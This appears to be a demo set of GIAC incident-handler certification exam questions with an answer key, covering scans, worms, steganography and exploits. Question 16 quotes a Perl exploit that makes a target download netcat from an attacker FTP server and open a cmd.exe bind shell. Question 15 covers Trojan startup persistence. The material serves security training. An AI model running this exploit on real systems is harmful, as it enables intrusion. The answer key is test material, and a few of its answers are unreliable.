Vendor: GIAC

Exam Code: GCIH

Exam Name: GIAC Certified Incident Handler

Version: Demo

QUESTION 1
Adam works as a Network Administrator for EnsurePass Inc. He wants to prevent the network from DOS attacks. Which of the following is most useful against DOS attacks?

A. SPI
B. Distributive firewall
C. Honey Pot
D. Internet bot

Correct Answer: A

QUESTION 2
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to test the network security of the company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test. Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access. How was security compromised and how did the firewall respond?

A. The attack was social engineering and the firewall did not detect it.
B. Security was not compromised as the webpage was hosted internally.
C. The attack was Cross Site Scripting and the firewall blocked it.
D. Security was compromised as keylogger is invisible for firewall.

Correct Answer: A

QUESTION 3
You run the following bash script in Linux:

```
for i in 'cat hostlist.txt' ;do

nc -q 2 -v $i 80 < request.txt done
```

Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file. Which of the following tasks do you want to perform by running this script?

A. You want to put nmap in the listen mode to the hosts given in the IP address list.
B. You want to perform banner grabbing to the hosts given in the IP address list.
C. You want to perform port scanning to the hosts given in the IP address list.
D. You want to transfer file hostlist.txt to the hosts given in the IP address list.

Correct Answer: B

QUESTION 4
Adam, a malicious hacker is running a scan. Statistics of the scan is as follows:

Scan directed at open port: ClientServer

192.5.2.92:4079 ---------FIN--------->192.5.2.110:23

192.5.2.92:4079 <----NO RESPONSE------192.5.2.110:23

Scan directed at closed port:

ClientServer

192.5.2.92:4079 ---------FIN--------->192.5.2.110:23

192.5.2.92:4079<-----RST/ACK----------192.5.2.110:23

Which of the following types of port scan is Adam running?

A. ACK scan
B. FIN scan
C. XMAS scan
D. Idle scan

Correct Answer: B

QUESTION 5
Adam works as a Senior Programmer for Umbrella Inc. A project has been assigned to him to write a short program to gather user input for a Web application. He wants to keep his program neat and simple. His chooses to use printf(str) where he should have ideally used printf("%s", str). What attack will his program expose the Web application to?

A. Format string attack
B. Cross Site Scripting attack
C. SQL injection attack
D. Sequence++ attack

Correct Answer: A

QUESTION 6
Which of the following tools can be used to detect the steganography?

A. Dskprobe
B. Blindside
C. ImageHide
D. Snow

Correct Answer: A

QUESTION 7
Which of the following tools can be used for steganography? Each correct answer represents a complete solution. Choose all that apply.

A. Image hide
B. Stegbreak
C. Snow.exe
D. Anti-x

Correct Answer: AC

QUESTION 8

Your company has been hired to provide consultancy, development, and integration services for a company named Brainbridge International. You have prepared a case study to plan the upgrade for the company. Based on the case study, which of the following steps will you suggest for configuring WebStore1? Each correct answer represents a part of the solution. Choose two.

A. Customize IIS 6.0 to display a legal warning page on the generation of the 404.2 and 404.3 errors.
B. Move the WebStore1 server to the internal network.
C. Configure IIS 6.0 on WebStore1 to scan the URL for known buffer overflow attacks.
D. Move the computer account of WebStore1 to the Remote organizational unit (OU).

Correct Answer: AC

QUESTION 9

Which of the following tools is used to download the Web pages of a Website on the local system?

A. wget
B. jplag
C. Nessus
D. Ettercap

Correct Answer: A

QUESTION 10

Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?

A. Klez
B. Code red
C. SQL Slammer
D. Beast

Correct Answer: C

QUESTION 11

Which of the following statements are true about worms? Each correct answer represents a complete solution. Choose all that apply.

A. Worms cause harm to the network by consuming bandwidth, whereas viruses almost always corrupt or modify files on a targeted computer.
B. Worms can exist inside files such as Word or Excel documents.
C. One feature of worms is keystroke logging.
D. Worms replicate themselves from one system to another without using a host file.

Correct Answer: ABD

QUESTION 12
Which of the following is designed to protect the Internet resolvers (clients) from forged DNS data created by DNS cache poisoning?

A. Stub resolver
B. BINDER
C. Split-horizon DNS
D. Domain Name System Extension (DNSSEC)

Correct Answer: D

QUESTION 13
Which of the following is a network worm that exploits the RPC sub-system vulnerability present in the Microsoft Windows operating system?

A. Win32/Agent
B. WMA/TrojanDownloader.GetCodec
C. Win32/Conflicker
D. Win32/PSW.OnLineGames

Correct Answer: C

QUESTION 14
The Klez worm is a mass-mailing worm that exploits a vulnerability to open an executable attachment even in Microsoft Outlook's preview pane. The Klez worm gathers email addresses from the entries of the default Windows Address Book (WAB). Which of the following registry values can be used to identify this worm?

A. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
B. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
C. HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name = "file and pathname of the WAB file"
D. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Correct Answer: C

QUESTION 15
You have inserted a Trojan on your friend's computer and you want to put it in the startup so that whenever the computer reboots the Trojan will start to run on the startup. Which of the following registry entries will you edit to accomplish the task?

A. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Startup
B. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Auto
C. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
D. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Start

Correct Answer: C

QUESTION 16

Adam, a malicious hacker performs an exploit, which is given below:

```
#########################################################

$port = 53;

# Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

#########################################################

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h
$host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl
msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -
C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\"");
print "Server is downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is
finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet
$host $port"); exit(0);
```

Which of the following is the expected result of the above exploit?

A. Creates a share called "sasfile" on the target system
B. Creates an FTP server with write permissions enabled
C. Opens up a SMTP server that requires no username or password
D. Opens up a telnet listener that requires no username or password

Correct Answer: D

QUESTION 17
Which of the following takes control of a session between a server and a client using TELNET, FTP, or any other non-encrypted TCP/IP utility?

A. Dictionary attack
B. Session Hijacking
C. Trojan horse
D. Social Engineering

Correct Answer: B

QUESTION 18
Which of the following statements are true about firewalking? Each correct answer represents a complete solution. Choose all that apply.

A. To use firewalking, the attacker needs the IP address of the last known gateway before the firewall and the IP address of a host located behind the firewall.
B. In this technique, an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall.
C. A malicious attacker can use firewalking to determine the types of ports/protocols that can bypass the firewall.
D. Firewalking works on the UDP packets.

Correct Answer: ABC

QUESTION 19
Which of the following tools can be used for stress testing of a Web server? Each correct answer represents a complete solution. Choose two.

A. Internet bots
B. Scripts
C. Anti-virus software
D. Spyware

Correct Answer: AB

QUESTION 20
Which of the following tools is an automated tool that is used to implement SQL injections and to retrieve data from Web server databases?

A. Fragroute
B. Absinthe
C. Stick
D. ADMutate

Correct Answer: B